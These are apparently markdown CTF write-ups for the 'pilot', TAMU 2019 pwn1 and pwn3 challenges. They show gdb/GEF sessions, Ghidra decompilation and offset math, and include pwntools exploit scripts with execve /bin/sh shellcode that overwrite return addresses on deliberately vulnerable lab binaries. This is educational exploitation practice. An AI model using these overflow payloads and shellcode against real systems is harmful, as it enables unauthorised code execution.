$rsi : 0x00007fffffffdf30 → 0x3733333137333331 ("13371337"?)
$rdi : 0x0
$rip : 0x0000000000400ae5 → cmp rax, 0x4
$r8 : 0xb
$r9 : 0x00007fffffffdd00 → 0x0000000000000000
$r10 : 0xfffffffffffff61c
$r11 : 0x246
$r12 : 0x00000000004008b0 → xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf30│+0x0000: 0x3733333137333331 ← $rsp, $rsi
0x00007fffffffdf38│+0x0008: 0x000000000040080a → add cl, ch
0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001
0x00007fffffffdf48│+0x0018: 0x0000000000000000
0x00007fffffffdf50│+0x0020: 0x0000000000000000 ← $rbp
0x00007fffffffdf58│+0x0028: 0x00007ffff7c17b25 → <__libc_start_main+213> mov edi, eax
0x00007fffffffdf60│+0x0030: 0x00007fffffffe048 → 0x00007fffffffe362 → "/home/nothing/binexp/2/pilot/pilot"
0x00007fffffffdf68│+0x0038: 0x00000001000011bf
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400ad8 mov rsi, rax
0x400adb mov edi, 0x0
0x400ae0 call 0x400820
●→ 0x400ae5 cmp rax, 0x4
0x400ae9 setle al
0x400aec test al, al
0x400aee je 0x400b2f
0x400af0 mov esi, 0x400d90
0x400af5 mov edi, 0x6020a0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pilot", stopped 0x400ae5 in ?? (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400ae5 → cmp rax, 0x4
[#1] 0x7ffff7c17b25 → __libc_start_main()
[#2] 0x4008d9 → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
So now we set the breakpoint where we wanted, then ran the binary, put in a simple pattern '13371337' and then we hit our breakpoint. Now let's search for our pattern in memory as well as the address of the return address:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffdf30 - 0x7fffffffdf38 → "13371337[...]"
gef➤ i f
Stack level 0, frame at 0x7fffffffdf60:
rip = 0x400ae5; saved rip = 0x7ffff7c17b25
called by frame at 0x7fffffffe030
Arglist at 0x7fffffffdf28, args:
Locals at 0x7fffffffdf28, Previous frame's sp is 0x7fffffffdf60
Saved registers:
rbp at 0x7fffffffdf50, rip at 0x7fffffffdf58
Now we see that our pattern is located at 0x7fffffffdf30, and the return address is at 0x7fffffffdf58 so let's calculate the offset in python3:
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffdf30 - 0x7fffffffdf58 )
'-0x28'
And here we see that we have a 0x28 bytes offset. So our goal here is to create a payload that will first fill the 0x28 offset with nullbytes (\x00) and then we will be able to overwrite the return address, however we must keep in mind that the Location of the pattern changes each time, so we need a way to get it no matter how it changes:
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot | grep Location
[*]Location:0x7ffdc6df25c0
^C
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot | grep Location
[*]Location:0x7ffca4cfcef0
^C
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot | grep Location
[*]Location:0x7ffdaad8fc90
^C
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot | grep Location
[*]Location:0x7ffed0e90200
So let's begin to write our python3 exploit:
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ vim exploit.py
from pwn import *
target = process('./pilot')
#print the output text until the 'Location:' part
print(target.recvuntil("[*]Location:"))
#right after the 'Location:' part, is the memory address of our input
leak = target.recvline()
inputAdr = int(leak.strip(b"\n"), 16)
#store the memory address until the newline character (16 characters)
print(inputAdr)
payload = ""
Now here we have the variable called 'inputAddr' that is the memory address of our input. Now we need to put in shellcode in the payload, the first 2 writeups of this challenge that i found werent explaining the source of the shellcode that was found, but thankfully there was a writeup that explained it [here](https://0xdeadbeefjerky.com/2017/09/23/csaw-ctf-pilot-writeup.html):
_" We know that the target is a 64-bit Linux (ELF) binary (as per the file output), so why not provide shellcode that executes /bin/sh and drop us into a shell on the host running pilot? NYUs Offensive Security, Incident Response and Internet Security Laboratory (OSIRIS Lab) was kind enough to open source an entire repository of shellcode written by NYU students. Browsing through this repository, we come across a directory containing shellcode designed to achieve our goal - 64-bit local /bin/sh. [...] This will be our shellcode that executes /bin/sh to drop us into a shell on the target system."_
So we could clone the repository locally and generate the shellcode ourselves aswell, but we can also pick a 64bit /bin/sh shellcode from [shell-storm.org](http://shell-storm.org/shellcode/) and just copy paste it. Or we could also contruct our own shellcode instead, this is better because that way we know what the source assembly code is, and we compile the shellcode ourselves::
[ 192.168.0.18/24 ] [ /dev/pts/55 ] [binexp/2/pilot]
→ vim 7.asm
section .text
global _start
_start:
xor esi, esi ; xor out esi and edx
xor edx, edx
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
pop rax ;take the out the top of the stack to put it into rax
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
push rsi
push rbx
mov rdi, rsp
syscall
Now let's compile it and test it:
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ nasm -f elf64 7.asm
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ ld 7.o -o 7
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ ./7
[ 192.168.100.1/24 ] [ /dev/pts/7 ] [/home/nothing/binexp/2/pilot]
→ echo $0
bash
[ 192.168.100.1/24 ] [ /dev/pts/7 ] [/home/nothing/binexp/2/pilot]
→ exit
exit
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ echo $0
/bin/zsh
And we see that it enables us to switch from zsh to bash! now let's make shellcode out of it after we adjust the assembly file:
[bits 64]
xor esi, esi ; xor out esi and edx
xor edx, edx
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
pop rax ;take the out the top of the stack to put it into rax
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
push rsi ; push the value of rsi
push rbx ; push the value of rbx
mov rdi, rsp ; move the value of rsp ( ) into rdi (first arguement)
syscall
Now let's compile it:
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ nasm -f bin 7.asm -o shellcode
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ cat shellcode
11j;XH/bin//shVSH%
Now let's view it inside of python exploit script:
from pwn import *
#read the shellcode file we compiled
with open('shellcode', 'rb') as f:
shellcode = f.read()
#initialize the payload
payload = b""
payload += shellcode
print(payload)
print(hexdump(payload))
Now let's test our script:
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ python3 exploit.py
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05'
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
00000010 68 56 53 48 89 e7 0f 05 │hVSH│····│
00000018
Now let's make the full payload and view the hexdump of it:
from pwn import *
target = process('./pilot')
#print the output text until the 'Location:' part
print(target.recvuntil("[*]Location:"))
#right after the 'Location:' part, is the memory address of our input
leak = target.recvline()
inputAdr = int(leak.strip(b"\n"), 16)
#store the memory address until the newline character (16 characters)
print(inputAdr)
with open('shellcode', 'rb') as f:
shellcode = f.read()
#initialize the payload
payload = b""
#add the shellcode to the payload this is 21 bytes long or 0x15 in hexa
payload += shellcode
#add the remaining required padding to the payload so that it attains the 0x28 size (thanks to added nullbytes)
payload += b"\x00" * (0x28 - len(payload))
#overwrite the return address with the address of the start of our input
payload += p64(inputAdr)
print(payload)
print(hexdump(payload))
The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ python3 exploit.py
[+] Starting local process './pilot': pid 2235412
b'[*]Welcome DropShip Pilot...\n[*]I am your assitant A.I....\n[*]I will be guiding you through the tutorial....\n[*]As a first step, lets learn how to land at the designated location....\n[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n[*]Good Luck Pilot!....\n[*]Location:'
140732702676240
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10U\xc0\xe2\xfe\x7f\x00\x00'
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
00000010 68 56 53 48 89 e7 0f 05 00 00 00 00 00 00 00 00 │hVSH│····│····│····│
00000020 00 00 00 00 00 00 00 00 10 55 c0 e2 fe 7f 00 00 │····│····│·U··│····│
00000030
Now that we have our payload, we send the payload to the binary file with the following last 2 lines :
target.send(payload)
target.interactive()
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ python3 exploit.py
[+] Starting local process './pilot': pid 2248247
b'[*]Welcome DropShip Pilot...\n[*]I am your assitant A.I....\n[*]I will be guiding you through the tutorial....\n[*]As a first step, lets learn how to land at the designated location....\n[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n[*]Good Luck Pilot!....\n[*]Location:'
140730313557488
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0EYT\xfe\x7f\x00\x00'
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
00000010 68 56 53 48 89 e7 0f 05 00 00 00 00 00 00 00 00 │hVSH│····│····│····│
00000020 00 00 00 00 00 00 00 00 f0 45 59 54 fe 7f 00 00 │····│····│·EYT│····│
00000030
[*] Switching to interactive mode
[*]Command:$ cat flag.txt
flag{g0ttem_b0yz}
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './pilot' stopped with exit code 0 (pid 2248247)
[*] Got EOF while sending in interactive
And that's it! we have been able to spawn a shell and print out the flag.
## Title
text
` ![]()
## Title
text
` ![]()

320
2/pwn1.md Normal file
View file

@ -0,0 +1,320 @@
# TAMU 2019 pwn1
## Downloading the binary file
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tamu19_pwn1/pwn1
--2021-02-23 13:16:19-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tamu19_pwn1/pwn1
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tamu19_pwn1/pwn1 [following]
--2021-02-23 13:16:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tamu19_pwn1/pwn1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7536 (7.4K) [application/octet-stream]
Saving to: pwn1
pwn1 100%[=======================================================================================================================================================================================================>] 7.36K --.-KB/s in 0.003s
2021-02-23 13:16:20 (2.58 MB/s) - pwn1 saved [7536/7536]
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ file pwn1
pwn1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ chmod +x pwn1
` ![]()
## Solution
First step, let's run the binary to see what it does:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
nothing
I don't know that! Auuuuuuuugh!
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
nobody
I don't know that! Auuuuuuuugh!
similar to the previous 2 challenges, it prompts us for some text, and we need to put in something specific, so let's inspect the binary from ghidra:
![](5.png)
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(void)
{
int iVar1;
char local_43 [43];
int local_18;
undefined4 local_14;
undefined *local_10;
local_10 = &stack0x00000004;
setvbuf(stdout,(char *)0x2,0,0);
local_14 = 2;
local_18 = 0;
puts(
"Stop! Who would cross the Bridge of Death must answer me these questions three, ere theother side he see."
);
puts("What... is your name?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("What... is your quest?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("What... is my secret?");
gets(local_43);
if (local_18 == -0x215eef38) {
print_flag();
}
else {
puts("I don\'t know that! Auuuuuuuugh!");
}
return 0;
}
looking at the disassembly code, we see a few interesting things. First of all our input text is stored in the variable 'local_43' and then it gets compared to the string of text 'Sir Lancelot of Camelot', depending on that it will either exit with the text 'i don't know that!' or proceed. so let's continue:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
Sir Lancelot of Camelot
What... is your quest?
To seek the Holy Grail.
What... is my secret?
something secret
I don't know that! Auuuuuuuugh!
Likewise, we also see that we need to input the seek the holy grail quest text, but then we do not know the secret passphrase yet. So we need to investigate further:
puts("What... is my secret?");
gets(local_43);
if (local_18 == -0x215eef38) {
print_flag();
}
else {
puts("I don\'t know that! Auuuuuuuugh!");
}
return 0;
in here, our input text gets put into local_43, and then it is basically not even using our text, instead the binary file checks if local_18 is the same as -0x215eef38, so let's see what this is about:
int local_18;
[...]
local_18 = 0;
[...]
if (local_18 == -0x215eef38) {
print_flag();
}
else {
puts("I don\'t know that! Auuuuuuuugh!");
}
apparently local_18 is supposed to be an integer being set to 0, let's get more info on this integer:
![](6.png)
**************************************************************
* FUNCTION *
**************************************************************
undefined main(undefined1 param_1)
undefined AL:1
undefined1 Stack[0x4]:1 param_1 XREF[1]: 00010779(*)
undefined4 Stack[0x0]:4 local_res0 XREF[1]: 00010780(R)
undefined1 Stack[-0x10]:1 local_10 XREF[1]: 000108d9(*)
undefined4 Stack[-0x14]:4 local_14 XREF[1]: 000107ad(W)
undefined4 Stack[-0x18]:4 local_18 XREF[2]: 000107b4(W),
000108b2(R)
undefined1 Stack[-0x43]:1 local_43 XREF[5]: 000107ed(*),
00010803(*),
0001084f(*),
00010865(*),
000108a6(*)
main XREF[5]: Entry Point(*),
_start:000105e6(*), 00010ab8,
00010b4c(*), 00011ff8(*)
00010779 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4]
and let's get the information as to what our integer should be:
![](7.png)
000108b2 81 7d f0 CMP dword ptr [EBP + local_18],0xdea110c8
c8 10 a1 de
right here we see that the if statement compares our local_18 variable to the 0xdea110c8 value, if it is equal, it will call the print_flag function, so let's check out what we have about that function:
![](7.png)
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void print_flag(void)
{
FILE *__fp;
int iVar1;
puts("Right. Off you go.");
__fp = fopen("flag.txt","r");
while( true ) {
iVar1 = _IO_getc((_IO_FILE *)__fp);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
putchar(10);
return;
}
what we need to do here basically is that we have to use the gets call to overwrite the contents of local_18 to become 0xdea110c8 in order to get the flag.txt. Now looking at the following assembly code:
**************************************************************
* FUNCTION *
**************************************************************
undefined main(undefined1 param_1)
undefined AL:1
undefined1 Stack[0x4]:1 param_1 XREF[1]: 00010779(*)
undefined4 Stack[0x0]:4 local_res0 XREF[1]: 00010780(R)
undefined1 Stack[-0x10]:1 local_10 XREF[1]: 000108d9(*)
undefined4 Stack[-0x14]:4 local_14 XREF[1]: 000107ad(W)
undefined4 Stack[-0x18]:4 local_18 XREF[2]: 000107b4(W),
000108b2(R)
undefined1 Stack[-0x43]:1 local_43 XREF[5]: 000107ed(*),
00010803(*),
0001084f(*),
00010865(*),
000108a6(*)
main XREF[5]: Entry Point(*),
_start:000105e6(*), 00010ab8,
00010b4c(*), 00011ff8(*)
00010779 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4]
we see that our input (local_43) starts at offset -0x43. we also see that local_18 starts at offset -0x18. so we need to take into account the following offset: **0x43 - 0x18 = 0x2b** between the start of our input and local_18. Then we will be able to overflow it and overwrite local_18 with 0xdea110c8 so let's write the python exploit:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ ls -lash
total 20K
4.0K drwxr-xr-x 2 nothing nothing 4.0K Feb 23 13:35 .
4.0K drwxr-xr-x 3 nothing nothing 4.0K Feb 23 13:16 ..
4.0K -rw-r--r-- 1 nothing nothing 18 Feb 23 13:35 flag.txt
8.0K -rwxr-xr-x 1 nothing nothing 7.4K Feb 23 13:16 pwn1
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ vim exploit.py
from pwn import *
target = process('./pwn1')
payload = b""
payload += b"0"*0x2b
payload += p32(0xdea110c8)
target.sendline("Sir Lancelot of Camelot")
target.sendline("To seek the Holy Grail.")
target.sendline(payload)
target.interactive()
So first we create the payload ( 2b zeroes for the initial padding and then with the little endian value 0xdea110c8). After the payload is created, we send the 2 strings of text the binary wants to get past the first 2 questions, and then we send the payload. After that we get into an interactive shell to see what the result is:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ vim exploit.py
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
→ python3 exploit.py
[+] Starting local process './pwn1': pid 34429
[*] Switching to interactive mode
[*] Process './pwn1' stopped with exit code 0 (pid 34429)
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
Right. Off you go.
flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive
$ :-)
And that's it! We have been able to print out the flag thanks to our buffer overflow payload.
![]()
## Title
text
` ![]()
## Title
text
` ![]()

340
2/pwn3.md Normal file
View file

@ -0,0 +1,340 @@
# TAMU 2019 Pwn3
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
--2021-03-05 12:37:20-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3 [following]
--2021-03-05 12:37:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7.2K) [application/octet-stream]
Saving to: pwn3
pwn3 100%[============================================================================================================================================================================>] 7.18K --.-KB/s in 0.001s
2021-03-05 12:37:21 (12.1 MB/s) - pwn3 saved [7348/7348]
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ file pwn3
pwn3: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ chmod +x pwn3
` ![]()
## Solution
First let's execute the binary to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ ./pwn3
Take this, you might need it on your journey 0xfff0aa1e!
thanks!
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ ./pwn3
Take this, you might need it on your journey 0xffa9ce0e!
No Thanks!
Here we see the binary giving us some text output with a certain memory address, and then prompts us for our text and depending on that text, we might get an answer or not. Now let's view it inside of ghidra:
![](24.png)
We get the following code:
undefined4 main(void)
{
undefined *puVar1;
puVar1 = &stack0x00000004;
setvbuf(stdout,(char *)0x2,0,0);
echo(puVar1);
return 0;
}
Here we see that the important part of the main function is the echo function:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void echo(void)
{
char local_12e [294];
printf("Take this, you might need it on your journey %p!\n",local_12e);
gets(local_12e);
return;
}
Here we see our input text gets passed into local_12e, and the function prints the address of the char buffer of local_12e. The bug here is that the gets function that is being used to process our input does not have a limit, it won't restrict us no matter how much data we feed through it, so we have an overflow right here. The question is what do we call ? There are not any function that print the flag nor give a shell, This is why we need to feed shellcode in.
Now in the previous challenge we were able to create the shellcode we needed for the x86_64 architecture. However this time we need to take into account that this is a 32 bit binary, we have to follow the x86 architecture as we create our shellcode. For this example we're going to grab some shellcode from [shell-storm.org](http://shell-storm.org/shellcode/files/shellcode-827.php).
Now let's use gdb to see how much space we have between the start of our input and the return address:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/pwn3]
→ gdb ./pwn3
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./pwn3...
(No debugging symbols found in ./pwn3)
gef➤ disas echo
Dump of assembler code for function echo:
0x0000059d <+0>: push ebp
0x0000059e <+1>: mov ebp,esp
0x000005a0 <+3>: push ebx
0x000005a1 <+4>: sub esp,0x134
0x000005a7 <+10>: call 0x4a0 <__x86.get_pc_thunk.bx>
0x000005ac <+15>: add ebx,0x1a20
0x000005b2 <+21>: sub esp,0x8
0x000005b5 <+24>: lea eax,[ebp-0x12a]
0x000005bb <+30>: push eax
0x000005bc <+31>: lea eax,[ebx-0x191c]
0x000005c2 <+37>: push eax
0x000005c3 <+38>: call 0x410
0x000005c8 <+43>: add esp,0x10
0x000005cb <+46>: sub esp,0xc
0x000005ce <+49>: lea eax,[ebp-0x12a]
0x000005d4 <+55>: push eax
0x000005d5 <+56>: call 0x420
0x000005da <+61>: add esp,0x10
0x000005dd <+64>: nop
0x000005de <+65>: mov ebx,DWORD PTR [ebp-0x4]
0x000005e1 <+68>: leave
0x000005e2 <+69>: ret
End of assembler dump.
Now as we disassembled the echo function, we set a breakpoint +61 because this is right after the gets call where we insert our text in.
gef➤ b *echo+61
Breakpoint 1 at 0x5da
gef➤ r
Starting program: /home/nothing/binexp/2/pwn3/pwn3
Take this, you might need it on your journey 0xffffcfbe!
13371337
Breakpoint 1, 0x565555da in echo ()
~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py:2425: DeprecationWarning: invalid escape sequence '\
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcfbe → "13371337"
$ebx : 0x56556fcc → 0x00001ed4
$ecx : 0xf7f90540 → 0xfbad2288
$edx : 0xfbad2288
$esp : 0xffffcfa0 → 0xffffcfbe → "13371337"
$ebp : 0xffffd0e8 → 0xffffd0f8 → 0x00000000
$esi : 0x1
$edi : 0x56555460 → <_start+0> xor ebp, ebp
$eip : 0x565555da → add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfa0│+0x0000: 0xffffcfbe → "13371337" ← $esp
0xffffcfa4│+0x0004: 0xffffcfbe → "13371337"
0xffffcfa8│+0x0008: 0xffffcfff → 0xffd08000
0xffffcfac│+0x000c: 0x565555ac → add ebx, 0x1a20
0xffffcfb0│+0x0010: 0x00000000
0xffffcfb4│+0x0014: 0x00000000
0xffffcfb8│+0x0018: 0x00000000
0xffffcfbc│+0x001c: 0x3331b6ff
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x565555ce lea eax, [ebp-0x12a]
0x565555d4 push eax
0x565555d5 call 0x56555420
→ 0x565555da add esp, 0x10
0x565555dd nop
0x565555de mov ebx, DWORD PTR [ebp-0x4]
0x565555e1 leave
0x565555e2 ret
0x565555e3 lea ecx, [esp+0x4]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn3", stopped 0x565555da in echo (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x565555da → echo()
[#1] 0x5655561a → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ search-pattern 13371337
Now that we set the breakpoint, we run the binary, and put in an easy-to remember pattern (13371337) and then we search for that pattern in the memory:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
0x565581a0 - 0x565581aa → "13371337\n"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
0xffffcfbe - 0xffffcfc6 → "13371337"
gef➤ info frame
Stack level 0, frame at 0xffffd0f0:
eip = 0x565555da in echo; saved eip = 0x5655561a
called by frame at 0xffffd110
Arglist at 0xffffd0e8, args:
Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0
Saved registers:
ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec
Here we see that the important addresses are **0xffffd0ec** and **0xffffcfbe**. So let's calculate the offset:
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffd0ec)
'0xffffd0ec'
>>> hex(0xffffd0ec - 0xffffcfbe)
'0x12e'
And we see that we have an offset of 0x12e bytes between the start of our input (0xffffcfbe) and the return address (0xffffd0ec). This makes sense because our input value (local_12e) is 294 bytes large,there are 2 saved register values (ebx and ebp) on the stack in between our input and the saved return address which are each 4 bytes a piece (294 + 4 +4 = 0x12e). So with this we can construct our payload :
[ 192.168.0.18/24 ] [ /dev/pts/12 ] [binexp/2/pwn3]
→ vim exploit.py
from pwn import *
target = process('./pwn3')
#print the text, up to the address of the start of the input
print(target.recvuntil("journey "))
#Scan the rest of the line
leak = target.recvline()
Adr = int(leak.strip(b"!\n"),16)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = b""
payload += shellcode
payload += b"\x00" * (0x12e - len(payload))
payload += p32(Adr)
print(hexdump(payload))
The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
